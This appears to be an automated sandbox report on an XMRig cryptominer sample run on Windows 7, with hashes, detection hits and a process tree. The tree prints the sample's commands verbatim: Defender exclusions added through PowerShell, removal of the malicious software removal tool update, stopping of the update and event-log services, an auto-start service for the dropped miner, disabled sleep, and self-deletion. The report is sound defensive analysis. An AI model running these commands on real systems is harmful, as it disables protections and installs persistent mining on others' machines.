Analysis
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max time kernel
150s -
max time network
152s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
19-11-2024 21:26
Static task
static1
Behavioral task
behavioral1
Sample
3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe
Resource
win7-20241010-en
General
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Target
3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe
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Size
5.6MB
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MD5
9db78efcd7263bc2cff6a2ff34c76176
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SHA1
f4728d6d58f7db097b3717991aaccd1b7eab56c8
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SHA256
3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892
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SHA512
1e0af29b1f1dca5514b6979167385261aa2a592454af9f60b9c68932d343a78c327d7bf8bada111df964e7c632d6c13cd339debf8c2132839fb087b5dd8b29e1
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
Processes:
resource yara_rule behavioral1/memory/2080-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2080-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2080-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2080-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2080-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2080-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2080-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2080-42-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepid Process 2892 powershell.exe 2232 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
Processes:
cmd.exepid Process 2500 cmd.exe -
Executes dropped EXE 2 IoCs
Processes:
fqwofdtexigy.exepid Process 464 2280 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
Processes:
pid Process 464 -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
Processes:
powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepid Process 804 powercfg.exe 2632 powercfg.exe 2592 powercfg.exe 2304 powercfg.exe 2312 powercfg.exe 1452 powercfg.exe 2376 powercfg.exe 1784 powercfg.exe -
Drops file in System32 directory 4 IoCs
Processes:
powershell.exe3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exepowershell.exefqwofdtexigy.exedescription ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
fqwofdtexigy.exedescription pid Process procid_target PID 2280 set thread context of 2188 2280 fqwofdtexigy.exe 86 PID 2280 set thread context of 2080 2280 fqwofdtexigy.exe 89 -
Processes:
resource yara_rule behavioral1/memory/2080-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2080-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2080-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2080-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2080-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2080-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2080-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2080-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2080-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2080-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2080-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2080-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2080-42-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
Processes:
wusa.exewusa.exedescription ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid Process 2924 sc.exe 2752 sc.exe 1240 sc.exe 3048 sc.exe 2040 sc.exe 836 sc.exe 1320 sc.exe 2900 sc.exe 2252 sc.exe 2552 sc.exe 2548 sc.exe 808 sc.exe 2840 sc.exe 2044 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
Processes:
powershell.exedescription ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0e19ec9c93adb01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exepowershell.exefqwofdtexigy.exepowershell.exenslookup.exepid Process 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2892 powershell.exe 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2004 3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe 2280 fqwofdtexigy.exe 2232 powershell.exe 2280 fqwofdtexigy.exe 2280 fqwofdtexigy.exe 2280 fqwofdtexigy.exe 2280 fqwofdtexigy.exe 2280 fqwofdtexigy.exe 2280 fqwofdtexigy.exe 2280 fqwofdtexigy.exe 2280 fqwofdtexigy.exe 2280 fqwofdtexigy.exe 2280 fqwofdtexigy.exe 2280 fqwofdtexigy.exe 2280 fqwofdtexigy.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe 2080 nslookup.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid Process 464 -
Suspicious use of AdjustPrivilegeToken 11 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exenslookup.exedescription pid Process Token: SeDebugPrivilege 2892 powershell.exe Token: SeShutdownPrivilege 2376 powercfg.exe Token: SeShutdownPrivilege 1784 powercfg.exe Token: SeShutdownPrivilege 804 powercfg.exe Token: SeShutdownPrivilege 1452 powercfg.exe Token: SeDebugPrivilege 2232 powershell.exe Token: SeShutdownPrivilege 2312 powercfg.exe Token: SeShutdownPrivilege 2592 powercfg.exe Token: SeShutdownPrivilege 2304 powercfg.exe Token: SeShutdownPrivilege 2632 powercfg.exe Token: SeLockMemoryPrivilege 2080 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
Processes:
cmd.execmd.execmd.exefqwofdtexigy.exedescription pid Process procid_target PID 3044 wrote to memory of 2808 3044 cmd.exe 38 PID 3044 wrote to memory of 2808 3044 cmd.exe 38 PID 3044 wrote to memory of 2808 3044 cmd.exe 38 PID 2500 wrote to memory of 1708 2500 cmd.exe 63 PID 2500 wrote to memory of 1708 2500 cmd.exe 63 PID 2500 wrote to memory of 1708 2500 cmd.exe 63 PID 2276 wrote to memory of 940 2276 cmd.exe 73 PID 2276 wrote to memory of 940 2276 cmd.exe 73 PID 2276 wrote to memory of 940 2276 cmd.exe 73 PID 2280 wrote to memory of 2188 2280 fqwofdtexigy.exe 86 PID 2280 wrote to memory of 2188 2280 fqwofdtexigy.exe 86 PID 2280 wrote to memory of 2188 2280 fqwofdtexigy.exe 86 PID 2280 wrote to memory of 2188 2280 fqwofdtexigy.exe 86 PID 2280 wrote to memory of 2188 2280 fqwofdtexigy.exe 86 PID 2280 wrote to memory of 2188 2280 fqwofdtexigy.exe 86 PID 2280 wrote to memory of 2188 2280 fqwofdtexigy.exe 86 PID 2280 wrote to memory of 2188 2280 fqwofdtexigy.exe 86 PID 2280 wrote to memory of 2188 2280 fqwofdtexigy.exe 86 PID 2280 wrote to memory of 2080 2280 fqwofdtexigy.exe 89 PID 2280 wrote to memory of 2080 2280 fqwofdtexigy.exe 89 PID 2280 wrote to memory of 2080 2280 fqwofdtexigy.exe 89 PID 2280 wrote to memory of 2080 2280 fqwofdtexigy.exe 89 PID 2280 wrote to memory of 2080 2280 fqwofdtexigy.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe"C:\Users\Admin\AppData\Local\Temp\3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2004 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2892
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2808
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2924
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2252
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2900
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:3048
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2840
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:804
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1784
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2376
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1452
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:2752
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:2040
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2548
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:2552
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\3af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2500 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1708
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2280 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2232
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2276 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:940
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2044
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1240
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:836
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1320
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:808
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2312
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2304
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2592
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2632
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2188
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2080
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD59db78efcd7263bc2cff6a2ff34c76176
SHA1f4728d6d58f7db097b3717991aaccd1b7eab56c8
SHA2563af7beda44ab1e3fdca555acc8cfcc3525ac2cac13305252e5756f97acda6892
SHA5121e0af29b1f1dca5514b6979167385261aa2a592454af9f60b9c68932d343a78c327d7bf8bada111df964e7c632d6c13cd339debf8c2132839fb087b5dd8b29e1